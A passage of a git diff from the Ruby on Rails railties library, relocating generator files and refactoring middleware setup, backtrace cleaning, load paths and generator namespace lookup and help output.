@@ -1,5 +1,6 @@
module Rails
module Generators
+ # TODO Deprecate me in a release > Rails 3.0
class ModelSubclassGenerator < Base
desc "model_subclass is deprecated. Invoke model with --parent option instead."
diff --git a/railties/lib/rails/generators/rails/observer/USAGE b/railties/lib/generators/rails/observer/USAGE
index 9a20f55a89..9a20f55a89 100644
--- a/railties/lib/rails/generators/rails/observer/USAGE
+++ b/railties/lib/generators/rails/observer/USAGE
diff --git a/railties/lib/rails/generators/rails/observer/observer_generator.rb b/railties/lib/generators/rails/observer/observer_generator.rb
index f5cedee91f..f5cedee91f 100644
--- a/railties/lib/rails/generators/rails/observer/observer_generator.rb
+++ b/railties/lib/generators/rails/observer/observer_generator.rb
diff --git a/railties/lib/rails/generators/rails/performance_test/USAGE b/railties/lib/generators/rails/performance_test/USAGE
index ee82578cdb..ee82578cdb 100644
--- a/railties/lib/rails/generators/rails/performance_test/USAGE
+++ b/railties/lib/generators/rails/performance_test/USAGE
diff --git a/railties/lib/rails/generators/rails/performance_test/performance_test_generator.rb b/railties/lib/generators/rails/performance_test/performance_test_generator.rb
index d1c71ab8ed..d1c71ab8ed 100644
--- a/railties/lib/rails/generators/rails/performance_test/performance_test_generator.rb
+++ b/railties/lib/generators/rails/performance_test/performance_test_generator.rb
diff --git a/railties/lib/rails/generators/rails/plugin/USAGE b/railties/lib/generators/rails/plugin/USAGE
index 8a17fa4dec..8a17fa4dec 100644
--- a/railties/lib/rails/generators/rails/plugin/USAGE
+++ b/railties/lib/generators/rails/plugin/USAGE
diff --git a/railties/lib/rails/generators/rails/plugin/plugin_generator.rb b/railties/lib/generators/rails/plugin/plugin_generator.rb
index bc614bc5d3..b68b8691db 100644
--- a/railties/lib/rails/generators/rails/plugin/plugin_generator.rb
+++ b/railties/lib/generators/rails/plugin/plugin_generator.rb
@@ -1,4 +1,4 @@
-require 'rails/generators/rails/generator/generator_generator'
+require 'generators/rails/generator/generator_generator'
module Rails
module Generators
@@ -20,15 +20,15 @@ module Rails
directory 'tasks', plugin_dir('tasks')
end
- hook_for :generator do |instance, generator|
- instance.inside instance.send(:plugin_dir), :verbose => true do
- instance.invoke generator, [ instance.name ], :namespace => false
+ hook_for :generator do |generator|
+ inside plugin_dir, :verbose => true do
+ invoke generator, [ name ], :namespace => false
end
end
- hook_for :test_framework do |instance, test_framework|
- instance.inside instance.send(:plugin_dir), :verbose => true do
- instance.invoke test_framework
+ hook_for :test_framework do |test_framework|
+ inside plugin_dir, :verbose => true do
+ invoke test_framework
end
end
diff --git a/railties/lib/rails/generators/rails/plugin/templates/MIT-LICENSE b/railties/lib/generators/rails/plugin/templates/MIT-LICENSE.tt
index 8717df053d..8717df053d 100644
--- a/railties/lib/rails/generators/rails/plugin/templates/MIT-LICENSE
+++ b/railties/lib/generators/rails/plugin/templates/MIT-LICENSE.tt
diff --git a/railties/lib/rails/generators/rails/plugin/templates/README b/railties/lib/generators/rails/plugin/templates/README.tt
index 702db07cb1..702db07cb1 100644
--- a/railties/lib/rails/generators/rails/plugin/templates/README
+++ b/railties/lib/generators/rails/plugin/templates/README.tt
diff --git a/railties/lib/rails/generators/rails/plugin/templates/Rakefile b/railties/lib/generators/rails/plugin/templates/Rakefile.tt
index 23c2245a41..23c2245a41 100644
--- a/railties/lib/rails/generators/rails/plugin/templates/Rakefile
+++ b/railties/lib/generators/rails/plugin/templates/Rakefile.tt
diff --git a/railties/lib/rails/generators/rails/plugin/templates/init.rb b/railties/lib/generators/rails/plugin/templates/init.rb
index 3c19a743c9..3c19a743c9 100644
--- a/railties/lib/rails/generators/rails/plugin/templates/init.rb
+++ b/railties/lib/generators/rails/plugin/templates/init.rb
diff --git a/railties/lib/rails/generators/rails/plugin/templates/install.rb b/railties/lib/generators/rails/plugin/templates/install.rb
index f7732d3796..f7732d3796 100644
--- a/railties/lib/rails/generators/rails/plugin/templates/install.rb
+++ b/railties/lib/generators/rails/plugin/templates/install.rb
diff --git a/railties/lib/rails/generators/rails/plugin/templates/lib/%file_name%.rb.tt b/railties/lib/generators/rails/plugin/templates/lib/%file_name%.rb.tt
index d8d908a959..d8d908a959 100644
--- a/railties/lib/rails/generators/rails/plugin/templates/lib/%file_name%.rb.tt
+++ b/railties/lib/generators/rails/plugin/templates/lib/%file_name%.rb.tt
diff --git a/railties/lib/rails/generators/rails/plugin/templates/tasks/%file_name%_tasks.rake.tt b/railties/lib/generators/rails/plugin/templates/tasks/%file_name%_tasks.rake.tt
index 72920a9d3a..72920a9d3a 100644
--- a/railties/lib/rails/generators/rails/plugin/templates/tasks/%file_name%_tasks.rake.tt
+++ b/railties/lib/generators/rails/plugin/templates/tasks/%file_name%_tasks.rake.tt
diff --git a/railties/lib/rails/generators/rails/plugin/templates/uninstall.rb b/railties/lib/generators/rails/plugin/templates/uninstall.rb
index 9738333463..9738333463 100644
--- a/railties/lib/rails/generators/rails/plugin/templates/uninstall.rb
+++ b/railties/lib/generators/rails/plugin/templates/uninstall.rb
diff --git a/railties/lib/rails/generators/rails/resource/USAGE b/railties/lib/generators/rails/resource/USAGE
index 936619b0db..936619b0db 100644
--- a/railties/lib/rails/generators/rails/resource/USAGE
+++ b/railties/lib/generators/rails/resource/USAGE
diff --git a/railties/lib/rails/generators/rails/resource/resource_generator.rb b/railties/lib/generators/rails/resource/resource_generator.rb
index a89ce7faed..43c7cc85f4 100644
--- a/railties/lib/rails/generators/rails/resource/resource_generator.rb
+++ b/railties/lib/generators/rails/resource/resource_generator.rb
@@ -1,5 +1,5 @@
-require 'rails/generators/rails/model/model_generator'
require 'rails/generators/resource_helpers'
+require 'generators/rails/model/model_generator'
module Rails
module Generators
diff --git a/railties/lib/rails/generators/rails/scaffold/USAGE b/railties/lib/generators/rails/scaffold/USAGE
index 530ccdaf0a..530ccdaf0a 100644
--- a/railties/lib/rails/generators/rails/scaffold/USAGE
+++ b/railties/lib/generators/rails/scaffold/USAGE
diff --git a/railties/lib/rails/generators/rails/scaffold/scaffold_generator.rb b/railties/lib/generators/rails/scaffold/scaffold_generator.rb
index 779f933785..fdea5bf52b 100644
--- a/railties/lib/rails/generators/rails/scaffold/scaffold_generator.rb
+++ b/railties/lib/generators/rails/scaffold/scaffold_generator.rb
@@ -1,4 +1,4 @@
-require 'rails/generators/rails/resource/resource_generator'
+require 'generators/rails/resource/resource_generator'
module Rails
module Generators
diff --git a/railties/lib/rails/generators/rails/scaffold_controller/USAGE b/railties/lib/generators/rails/scaffold_controller/USAGE
index d60a3c3680..d60a3c3680 100644
--- a/railties/lib/rails/generators/rails/scaffold_controller/USAGE
+++ b/railties/lib/generators/rails/scaffold_controller/USAGE
diff --git a/railties/lib/rails/generators/rails/scaffold_controller/scaffold_controller_generator.rb b/railties/lib/generators/rails/scaffold_controller/scaffold_controller_generator.rb
index e544e29892..e544e29892 100644
--- a/railties/lib/rails/generators/rails/scaffold_controller/scaffold_controller_generator.rb
+++ b/railties/lib/generators/rails/scaffold_controller/scaffold_controller_generator.rb
diff --git a/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb b/railties/lib/generators/rails/scaffold_controller/templates/controller.rb
index 874e96a2b4..874e96a2b4 100644
--- a/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb
+++ b/railties/lib/generators/rails/scaffold_controller/templates/controller.rb
diff --git a/railties/lib/rails/generators/rails/session_migration/USAGE b/railties/lib/generators/rails/session_migration/USAGE
index e106f6ecc8..e106f6ecc8 100644
--- a/railties/lib/rails/generators/rails/session_migration/USAGE
+++ b/railties/lib/generators/rails/session_migration/USAGE
diff --git a/railties/lib/rails/generators/rails/session_migration/session_migration_generator.rb b/railties/lib/generators/rails/session_migration/session_migration_generator.rb
index 258cc5b4a0..258cc5b4a0 100644
--- a/railties/lib/rails/generators/rails/session_migration/session_migration_generator.rb
+++ b/railties/lib/generators/rails/session_migration/session_migration_generator.rb
diff --git a/railties/lib/rails/generators/rails/stylesheets/USAGE b/railties/lib/generators/rails/stylesheets/USAGE
index d6a81e51d0..d6a81e51d0 100644
--- a/railties/lib/rails/generators/rails/stylesheets/USAGE
+++ b/railties/lib/generators/rails/stylesheets/USAGE
diff --git a/railties/lib/rails/generators/rails/stylesheets/stylesheets_generator.rb b/railties/lib/generators/rails/stylesheets/stylesheets_generator.rb
index ce68443c39..ce68443c39 100644
--- a/railties/lib/rails/generators/rails/stylesheets/stylesheets_generator.rb
+++ b/railties/lib/generators/rails/stylesheets/stylesheets_generator.rb
diff --git a/railties/lib/rails/generators/rails/stylesheets/templates/scaffold.css b/railties/lib/generators/rails/stylesheets/templates/scaffold.css
index d9fa2cf2dc..d9fa2cf2dc 100644
--- a/railties/lib/rails/generators/rails/stylesheets/templates/scaffold.css
+++ b/railties/lib/generators/rails/stylesheets/templates/scaffold.css
diff --git a/railties/lib/rails/generators/test_unit.rb b/railties/lib/generators/test_unit.rb
index 62b9afaa2c..62b9afaa2c 100644
--- a/railties/lib/rails/generators/test_unit.rb
+++ b/railties/lib/generators/test_unit.rb
diff --git a/railties/lib/rails/generators/test_unit/controller/controller_generator.rb b/railties/lib/generators/test_unit/controller/controller_generator.rb
index 39816d9990..b57a6e794f 100644
--- a/railties/lib/rails/generators/test_unit/controller/controller_generator.rb
+++ b/railties/lib/generators/test_unit/controller/controller_generator.rb
@@ -1,4 +1,4 @@
-require 'rails/generators/test_unit'
+require 'generators/test_unit'
module TestUnit
module Generators
diff --git a/railties/lib/rails/generators/test_unit/controller/templates/functional_test.rb b/railties/lib/generators/test_unit/controller/templates/functional_test.rb
index 62fa5d86fd..62fa5d86fd 100644
--- a/railties/lib/rails/generators/test_unit/controller/templates/functional_test.rb
+++ b/railties/lib/generators/test_unit/controller/templates/functional_test.rb
diff --git a/railties/lib/rails/generators/test_unit/helper/helper_generator.rb b/railties/lib/generators/test_unit/helper/helper_generator.rb
index 4ea80bf7be..9ecfaa45ab 100644
--- a/railties/lib/rails/generators/test_unit/helper/helper_generator.rb
+++ b/railties/lib/generators/test_unit/helper/helper_generator.rb
@@ -1,4 +1,4 @@
-require 'rails/generators/test_unit'
+require 'generators/test_unit'
module TestUnit
module Generators
diff --git a/railties/lib/rails/generators/test_unit/helper/templates/helper_test.rb b/railties/lib/generators/test_unit/helper/templates/helper_test.rb
index 591e40900e..591e40900e 100644
--- a/railties/lib/rails/generators/test_unit/helper/templates/helper_test.rb
+++ b/railties/lib/generators/test_unit/helper/templates/helper_test.rb
diff --git a/railties/lib/rails/generators/test_unit/integration/integration_generator.rb b/railties/lib/generators/test_unit/integration/integration_generator.rb
index 32d0fac029..d9d9b3bf1d 100644
--- a/railties/lib/rails/generators/test_unit/integration/integration_generator.rb
+++ b/railties/lib/generators/test_unit/integration/integration_generator.rb
@@ -1,4 +1,4 @@
-require 'rails/generators/test_unit'
+require 'generators/test_unit'
module TestUnit
module Generators
diff --git a/railties/lib/rails/generators/test_unit/integration/templates/integration_test.rb b/railties/lib/generators/test_unit/integration/templates/integration_test.rb
index 2c57158b1c..2c57158b1c 100644
--- a/railties/lib/rails/generators/test_unit/integration/templates/integration_test.rb
+++ b/railties/lib/generators/test_unit/integration/templates/integration_test.rb
diff --git a/railties/lib/rails/generators/test_unit/mailer/mailer_generator.rb b/railties/lib/generators/test_unit/mailer/mailer_generator.rb
index 7353e5d61a..a0d73db1b0 100644
--- a/railties/lib/rails/generators/test_unit/mailer/mailer_generator.rb
+++ b/railties/lib/generators/test_unit/mailer/mailer_generator.rb
@@ -1,4 +1,4 @@
-require 'rails/generators/test_unit'
+require 'generators/test_unit'
module TestUnit
module Generators
@@ -7,7 +7,7 @@ module TestUnit
check_class_collision :suffix => "Test"
def create_test_files
- template "unit_test.rb", File.join('test/unit', class_path, "#{file_name}_test.rb")
+ template "functional_test.rb", File.join('test/functional', class_path, "#{file_name}_test.rb")
end
def create_fixtures_files
diff --git a/railties/lib/rails/generators/test_unit/mailer/templates/fixture b/railties/lib/generators/test_unit/mailer/templates/fixture
index fcce7bd805..fcce7bd805 100644
--- a/railties/lib/rails/generators/test_unit/mailer/templates/fixture
+++ b/railties/lib/generators/test_unit/mailer/templates/fixture
diff --git a/railties/lib/rails/generators/test_unit/mailer/templates/unit_test.rb b/railties/lib/generators/test_unit/mailer/templates/functional_test.rb
index 4de94076e9..4de94076e9 100644
--- a/railties/lib/rails/generators/test_unit/mailer/templates/unit_test.rb
+++ b/railties/lib/generators/test_unit/mailer/templates/functional_test.rb
diff --git a/railties/lib/rails/generators/test_unit/model/model_generator.rb b/railties/lib/generators/test_unit/model/model_generator.rb
index 609b815683..469306e6c5 100644
--- a/railties/lib/rails/generators/test_unit/model/model_generator.rb
+++ b/railties/lib/generators/test_unit/model/model_generator.rb
@@ -1,4 +1,4 @@
-require 'rails/generators/test_unit'
+require 'generators/test_unit'
module TestUnit
module Generators
diff --git a/railties/lib/rails/generators/test_unit/model/templates/fixtures.yml b/railties/lib/generators/test_unit/model/templates/fixtures.yml
index a30132bc99..a30132bc99 100644
--- a/railties/lib/rails/generators/test_unit/model/templates/fixtures.yml
+++ b/railties/lib/generators/test_unit/model/templates/fixtures.yml
diff --git a/railties/lib/rails/generators/test_unit/model/templates/unit_test.rb b/railties/lib/generators/test_unit/model/templates/unit_test.rb
index 3e0bc29d3a..3e0bc29d3a 100644
--- a/railties/lib/rails/generators/test_unit/model/templates/unit_test.rb
+++ b/railties/lib/generators/test_unit/model/templates/unit_test.rb
diff --git a/railties/lib/rails/generators/test_unit/observer/observer_generator.rb b/railties/lib/generators/test_unit/observer/observer_generator.rb
index 6cc1158c21..14181f4e49 100644
--- a/railties/lib/rails/generators/test_unit/observer/observer_generator.rb
+++ b/railties/lib/generators/test_unit/observer/observer_generator.rb
@@ -1,4 +1,4 @@
-require 'rails/generators/test_unit'
+require 'generators/test_unit'
module TestUnit
module Generators
diff --git a/railties/lib/rails/generators/test_unit/observer/templates/unit_test.rb b/railties/lib/generators/test_unit/observer/templates/unit_test.rb
index 03f6d5666e..03f6d5666e 100644
--- a/railties/lib/rails/generators/test_unit/observer/templates/unit_test.rb
+++ b/railties/lib/generators/test_unit/observer/templates/unit_test.rb
diff --git a/railties/lib/rails/generators/test_unit/performance/performance_generator.rb b/railties/lib/generators/test_unit/performance/performance_generator.rb
index 99edda5461..0d9c646b26 100644
--- a/railties/lib/rails/generators/test_unit/performance/performance_generator.rb
+++ b/railties/lib/generators/test_unit/performance/performance_generator.rb
@@ -1,4 +1,4 @@
-require 'rails/generators/test_unit'
+require 'generators/test_unit'
module TestUnit
module Generators
diff --git a/railties/lib/rails/generators/test_unit/performance/templates/performance_test.rb b/railties/lib/generators/test_unit/performance/templates/performance_test.rb
index 362e3dc09f..362e3dc09f 100644
--- a/railties/lib/rails/generators/test_unit/performance/templates/performance_test.rb
+++ b/railties/lib/generators/test_unit/performance/templates/performance_test.rb
diff --git a/railties/lib/rails/generators/test_unit/plugin/plugin_generator.rb b/railties/lib/generators/test_unit/plugin/plugin_generator.rb
index 4d65cd7d89..05adf58c4f 100644
--- a/railties/lib/rails/generators/test_unit/plugin/plugin_generator.rb
+++ b/railties/lib/generators/test_unit/plugin/plugin_generator.rb
@@ -1,4 +1,4 @@
-require 'rails/generators/test_unit'
+require 'generators/test_unit'
module TestUnit
module Generators
diff --git a/railties/lib/rails/generators/test_unit/plugin/templates/%file_name%_test.rb.tt b/railties/lib/generators/test_unit/plugin/templates/%file_name%_test.rb.tt
index 3e0bc29d3a..3e0bc29d3a 100644
--- a/railties/lib/rails/generators/test_unit/plugin/templates/%file_name%_test.rb.tt
+++ b/railties/lib/generators/test_unit/plugin/templates/%file_name%_test.rb.tt
diff --git a/railties/lib/rails/generators/test_unit/plugin/templates/test_helper.rb b/railties/lib/generators/test_unit/plugin/templates/test_helper.rb
index 2ca36a1e44..2ca36a1e44 100644
--- a/railties/lib/rails/generators/test_unit/plugin/templates/test_helper.rb
+++ b/railties/lib/generators/test_unit/plugin/templates/test_helper.rb
diff --git a/railties/lib/rails/generators/test_unit/scaffold/scaffold_generator.rb b/railties/lib/generators/test_unit/scaffold/scaffold_generator.rb
index c0315c7fe6..a95916ae13 100644
--- a/railties/lib/rails/generators/test_unit/scaffold/scaffold_generator.rb
+++ b/railties/lib/generators/test_unit/scaffold/scaffold_generator.rb
@@ -1,4 +1,4 @@
-require 'rails/generators/test_unit'
+require 'generators/test_unit'
require 'rails/generators/resource_helpers'
module TestUnit
diff --git a/railties/lib/rails/generators/test_unit/scaffold/templates/functional_test.rb b/railties/lib/generators/test_unit/scaffold/templates/functional_test.rb
index 9380aa49b6..9380aa49b6 100644
--- a/railties/lib/rails/generators/test_unit/scaffold/templates/functional_test.rb
+++ b/railties/lib/generators/test_unit/scaffold/templates/functional_test.rb
diff --git a/railties/lib/rails.rb b/railties/lib/rails.rb
index 4ded2515fc..0bc7160815 100644
--- a/railties/lib/rails.rb
+++ b/railties/lib/rails.rb
@@ -1,9 +1,8 @@
-require "pathname"
+require 'pathname'
require 'active_support'
require 'active_support/core_ext/kernel/reporting'
require 'active_support/core_ext/logger'
-require 'action_dispatch'
require 'rails/initializable'
require 'rails/application'
@@ -18,6 +17,8 @@ require 'rails/deprecation'
require 'rails/subscriber'
require 'rails/ruby_version_check'
+require 'action_dispatch/railtie'
+
# For Ruby 1.8, this initialization sets $KCODE to 'u' to enable the
# multibyte safe operations. Plugin authors supporting other encodings
# should override this behaviour and set the relevant +default_charset+
diff --git a/railties/lib/rails/application.rb b/railties/lib/rails/application.rb
index c95316a4da..4d05f8115c 100644
--- a/railties/lib/rails/application.rb
+++ b/railties/lib/rails/application.rb
@@ -99,9 +99,15 @@ module Rails
end
end
+ def app
+ @app ||= begin
+ reload_routes!
+ middleware.build(routes)
+ end
+ end
+
def call(env)
- @app ||= middleware.build(routes)
- @app.call(env)
+ app.call(env)
end
initializer :load_application_initializers do
@@ -110,6 +116,10 @@ module Rails
end
end
+ initializer :build_middleware_stack do
+ app
+ end
+
# Fires the user-supplied after_initialize block (Configuration#after_initialize)
initializer :after_initialize do
config.after_initialize_blocks.each do |block|
diff --git a/railties/lib/rails/backtrace_cleaner.rb b/railties/lib/rails/backtrace_cleaner.rb
index cd7dd0f80a..40198306f9 100644
--- a/railties/lib/rails/backtrace_cleaner.rb
+++ b/railties/lib/rails/backtrace_cleaner.rb
@@ -3,17 +3,7 @@ require 'active_support/backtrace_cleaner'
module Rails
class BacktraceCleaner < ActiveSupport::BacktraceCleaner
ERB_METHOD_SIG = /:in `_run_erb_.*/
-
- RAILS_GEMS = %w( actionpack activerecord actionmailer activesupport activeresource rails )
-
- VENDOR_DIRS = %w( vendor/rails )
- SERVER_DIRS = %w( lib/mongrel bin/mongrel
- lib/passenger bin/passenger-spawn-server
- lib/rack )
- RAILS_NOISE = %w( script/server )
- RUBY_NOISE = %w( rubygems/custom_require benchmark.rb )
-
- ALL_NOISE = VENDOR_DIRS + SERVER_DIRS + RAILS_NOISE + RUBY_NOISE
+ APP_DIRS = %w( app config lib test )
def initialize
super
@@ -22,10 +12,9 @@ module Rails
add_filter { |line| line.sub('./', '/') } # for tests
add_gem_filters
+ add_bundler_filters
- add_silencer { |line| ALL_NOISE.any? { |dir| line.include?(dir) } }
- add_silencer { |line| RAILS_GEMS.any? { |gem| line =~ /^#{gem} / } }
- add_silencer { |line| line =~ %r(vendor/plugins/[^\/]+/lib) }
+ add_silencer { |line| !APP_DIRS.any? { |dir| line =~ /^#{dir}/ } }
end
private
@@ -33,9 +22,21 @@ module Rails
return unless defined? Gem
(Gem.path + [Gem.default_dir]).uniq.each do |path|
# http://gist.github.com/30430
- add_filter { |line| line.sub(/(#{path})\/gems\/([a-z]+)-([0-9.]+)\/(.*)/, '\2 (\3) \4')}
+ add_filter { |line|
+ line.sub(%r{(#{path})/gems/([^/]+)-([0-9.]+)/(.*)}, '\2 (\3) \4')
+ }
end
end
+
+ def add_bundler_filters
+ return unless defined? Bundler
+ add_filter { |line|
+ line.sub(%r{vendor/gems/[^/]+/[^/]+/gems/([^/]+)-([0-9.]+)/(.*)}, '\1 (\2) \3')
+ }
+ add_filter { |line|
+ line.sub(%r{vendor/gems/[^/]+/[^/]+/dirs/([^/]+)/(.*)}, '\1 \2')
+ }
+ end
end
# For installing the BacktraceCleaner in the test/unit
diff --git a/railties/lib/rails/bootstrap.rb b/railties/lib/rails/bootstrap.rb
index b7cf70747a..5db663f9ef 100644
--- a/railties/lib/rails/bootstrap.rb
+++ b/railties/lib/rails/bootstrap.rb
@@ -23,8 +23,8 @@ module Rails
# the load_once paths.
initializer :set_autoload_paths do
require 'active_support/dependencies'
- ActiveSupport::Dependencies.load_paths = config.load_paths.uniq
- ActiveSupport::Dependencies.load_once_paths = config.load_once_paths.uniq
+ ActiveSupport::Dependencies.load_paths = expand_load_path(config.load_paths)
+ ActiveSupport::Dependencies.load_once_paths = expand_load_path(config.load_once_paths)
extra = ActiveSupport::Dependencies.load_once_paths - ActiveSupport::Dependencies.load_paths
unless extra.empty?
@@ -140,7 +140,7 @@ module Rails
end
end
- initializer :initialize_notifications do
+ initializer :initialize_notifications do
require 'active_support/notifications'
if config.colorize_logging == false
@@ -152,5 +152,10 @@ module Rails
Rails::Subscriber.dispatch(args)
end
end
+
+ private
+ def expand_load_path(load_paths)
+ load_paths.map { |path| Dir.glob(path.to_s) }.flatten.uniq
+ end
end
end
diff --git a/railties/lib/rails/commands/dbconsole.rb b/railties/lib/rails/commands/dbconsole.rb
index b836a17a49..593e2d8ee3 100644
--- a/railties/lib/rails/commands/dbconsole.rb
+++ b/railties/lib/rails/commands/dbconsole.rb
@@ -34,8 +34,8 @@ module Rails
abort opt.to_s unless (0..1).include?(ARGV.size)
end
- unless config = YAML::load(ERB.new(IO.read("#{@app.root}/config/database.yml")).result)[env]
- abort "No database is configured for the environment '#{env}'"
+ unless config = YAML::load(ERB.new(IO.read("#{@app.root}/config/database.yml")).result)[Rails.env]
+ abort "No database is configured for the environment '#{Rails.env}'"
end
diff --git a/railties/lib/rails/configuration.rb b/railties/lib/rails/configuration.rb
index a2fab120cf..b76a7ac2d8 100644
--- a/railties/lib/rails/configuration.rb
+++ b/railties/lib/rails/configuration.rb
@@ -14,9 +14,12 @@ module Rails
middleware.use('::Rack::Lock', :if => lambda { !ActionController::Base.allow_concurrency })
middleware.use('::Rack::Runtime')
middleware.use('ActionDispatch::ShowExceptions', lambda { ActionController::Base.consider_all_requests_local })
- middleware.use('ActionDispatch::Callbacks', lambda { ActionController::Dispatcher.prepare_each_request })
+ middleware.use('ActionDispatch::Notifications')
+ middleware.use('ActionDispatch::Callbacks', lambda { !Rails.application.config.cache_classes })
+ middleware.use('ActionDispatch::Cookies')
middleware.use(lambda { ActionController::Base.session_store }, lambda { ActionController::Base.session_options })
middleware.use('ActionDispatch::Flash', :if => lambda { ActionController::Base.session_store })
+ middleware.use(lambda { Rails::Rack::Metal.new(Rails.application.config.paths.app.metals.to_a, Rails.application.config.metals) })
middleware.use('ActionDispatch::ParamsParser')
middleware.use('::Rack::MethodOverride')
middleware.use('::ActionDispatch::Head')
@@ -197,12 +200,7 @@ module Rails
end
def eager_load_paths
- @eager_load_paths ||= %w(
- app/metal
- app/models
- app/controllers
- app/helpers
- ).map { |dir| "#{root}/#{dir}" }.select { |dir| File.directory?(dir) }
+ @eager_load_paths ||= ["#{root}/app/*"]
end
def load_paths
@@ -212,20 +210,13 @@ module Rails
# Add the old mock paths only if the directories exists
paths.concat(Dir["#{root}/test/mocks/#{Rails.env}"]) if File.exists?("#{root}/test/mocks/#{Rails.env}")
- # Add the app's controller directory
- paths.concat(Dir["#{root}/app/controllers/"])
-
# Followed by the standard includes.
paths.concat %w(
app
- app/metal
- app/models
- app/controllers
- app/helpers
- app/services
+ app/*
lib
vendor
- ).map { |dir| "#{root}/#{dir}" }.select { |dir| File.directory?(dir) }
+ ).map { |dir| "#{root}/#{dir}" }
paths.concat builtin_directories
end
diff --git a/railties/lib/rails/deprecation.rb b/railties/lib/rails/deprecation.rb
index 43f08d13df..f28da5a6b0 100644
--- a/railties/lib/rails/deprecation.rb
+++ b/railties/lib/rails/deprecation.rb
@@ -11,7 +11,7 @@ RAILS_ROOT = (Class.new(ActiveSupport::Deprecation::DeprecationProxy) do
end
def warn(callstack, called, args)
- msg = "RAILS_ROOT is deprecated! Use Rails.root instead."
+ msg = "RAILS_ROOT is deprecated! Use Rails.root instead"
ActiveSupport::Deprecation.warn(msg, callstack)
end
end).new
@@ -26,7 +26,7 @@ RAILS_ENV = (Class.new(ActiveSupport::Deprecation::DeprecationProxy) do
end
def warn(callstack, called, args)
- msg = "RAILS_ENV is deprecated! Use Rails.env instead."
+ msg = "RAILS_ENV is deprecated! Use Rails.env instead"
ActiveSupport::Deprecation.warn(msg, callstack)
end
end).new
@@ -41,7 +41,7 @@ RAILS_DEFAULT_LOGGER = (Class.new(ActiveSupport::Deprecation::DeprecationProxy)
end
def warn(callstack, called, args)
- msg = "RAILS_DEFAULT_LOGGER is deprecated! Use Rails.logger instead."
+ msg = "RAILS_DEFAULT_LOGGER is deprecated! Use Rails.logger instead"
ActiveSupport::Deprecation.warn(msg, callstack)
end
end).new
diff --git a/railties/lib/rails/generators.rb b/railties/lib/rails/generators.rb
index 3713a38b33..736c36c0dc 100644
--- a/railties/lib/rails/generators.rb
+++ b/railties/lib/rails/generators.rb
@@ -87,18 +87,6 @@ module Rails
@options ||= DEFAULT_OPTIONS.dup
end
- def self.gems_generators_paths #:nodoc:
- return [] unless defined?(Gem) && Gem.respond_to?(:loaded_specs)
- Gem.loaded_specs.inject([]) do |paths, (name, spec)|
- paths += Dir[File.join(spec.full_gem_path, "lib/{generators,rails_generators}")]
- end
- end
-
- def self.plugins_generators_paths #:nodoc:
- return [] unless defined?(Rails.root) && Rails.root
- Dir[File.join(Rails.root, "vendor", "plugins", "*", "lib", "{generators,rails_generators}")]
- end
-
# Hold configured generators fallbacks. If a plugin developer wants a
# generator group to fallback to another group in case of missing generators,
# they can add a fallback.
@@ -126,31 +114,6 @@ module Rails
@subclasses ||= []
end
- # Generators load paths used on lookup. The lookup happens as:
- #
- # 1) lib generators
- # 2) vendor/plugin generators
- # 3) vendor/gems generators
- # 4) ~/rails/generators
- # 5) rubygems generators
- # 6) builtin generators
- #
- # TODO Remove hardcoded paths for all, except (6).
- #
- def self.load_paths
- @load_paths ||= begin
- paths = []
- paths += Dir[File.join(Rails.root, "lib", "{generators,rails_generators}")] if defined?(Rails.root) && Rails.root
- paths += Dir[File.join(Thor::Util.user_home, ".rails", "{generators,rails_generators}")]
- paths += self.plugins_generators_paths
- paths += self.gems_generators_paths
- paths << File.expand_path(File.join(File.dirname(__FILE__), "generators"))
- paths.uniq!
- paths
- end
- end
- load_paths # Cache load paths. Needed to avoid __FILE__ pointing to wrong paths.
-
# Rails finds namespaces similar to thor, it only adds one rule:
#
# Generators names must end with "_generator.rb". This is required because Rails
@@ -168,34 +131,26 @@ module Rails
# Rails looks for is the first and last parts of the namespace.
#
def self.find_by_namespace(name, base=nil, context=nil) #:nodoc:
- # Mount regexps to lookup
- regexps = []
- regexps << /^#{base}:[\w:]*#{name}$/ if base
- regexps << /^#{name}:[\w:]*#{context}$/ if context
- regexps << /^[(#{name}):]+$/
- regexps.uniq!
-
- # Check if generator happens to be loaded
- checked = subclasses.dup
- klass = find_by_regexps(regexps, checked)
- return klass if klass
-
- # Try to require other generators by looking in load_paths
- lookup(name, context)
- unchecked = subclasses - checked
- klass = find_by_regexps(regexps, unchecked)
- return klass if klass
-
- # Invoke fallbacks
- invoke_fallbacks_for(name, base) || invoke_fallbacks_for(context, name)
- end
+ lookups = []
+ lookups << "#{base}:#{name}" if base
+ lookups << "#{name}:#{context}" if context
+ lookups << "#{name}:#{name}" unless name.to_s.include?(?:)
+ lookups << "#{name}"
+ lookups << "rails:#{name}" unless base || context || name.to_s.include?(?:)
+
+ lookup(lookups)
+
+ namespaces = subclasses.inject({}) do |hash, klass|
+ hash[klass.namespace] = klass
+ hash
+ end
- # Tries to find a generator which the namespace match the regexp.
- def self.find_by_regexps(regexps, klasses)
- klasses.find do |klass|
- namespace = klass.namespace
- regexps.find { |r| namespace =~ r }
+ lookups.each do |namespace|
+ klass = namespaces[namespace]
+ return klass if klass
end
+
+ invoke_fallbacks_for(name, base) || invoke_fallbacks_for(context, name)
end
# Receives a namespace, arguments and the behavior to invoke the generator.
@@ -203,9 +158,8 @@ module Rails
# commands.
def self.invoke(namespace, args=ARGV, config={})
names = namespace.to_s.split(':')
-
- if klass = find_by_namespace(names.pop, names.shift || "rails")
- args << "--help" if klass.arguments.any? { |a| a.required? } && args.empty?
+ if klass = find_by_namespace(names.pop, names.shift)
+ args << "--help" if args.empty? && klass.arguments.any? { |a| a.required? }
klass.start(args, config)
else
puts "Could not find generator #{namespace}."
@@ -214,26 +168,46 @@ module Rails
# Show help message with available generators.
def self.help
- builtin = Rails::Generators.builtin.each { |n| n.sub!(/^rails:/, '') }
- builtin.sort!
+ traverse_load_paths!
+
+ namespaces = subclasses.map{ |k| k.namespace }
+ namespaces.sort!
- lookup("*")
- others = subclasses.map{ |k| k.namespace.gsub(':generators:', ':') }
- others -= Rails::Generators.builtin
- others.sort!
+ groups = Hash.new { |h,k| h[k] = [] }
+ namespaces.each do |namespace|
+ base = namespace.split(':').first
+ groups[base] << namespace
+ end
- puts "Please select a generator."
- puts "Builtin: #{builtin.join(', ')}."
- puts "Others: #{others.join(', ')}." unless others.empty?
+ puts "Usage:"
+ puts " script/generate GENERATOR [args] [options]"
+ puts
+ puts "General options:"
+ puts " -h, [--help] # Print generators options and usage"
+ puts " -p, [--pretend] # Run but do not make any changes"
+ puts " -f, [--force] # Overwrite files that already exist"
+ puts " -s, [--skip] # Skip files that already exist"
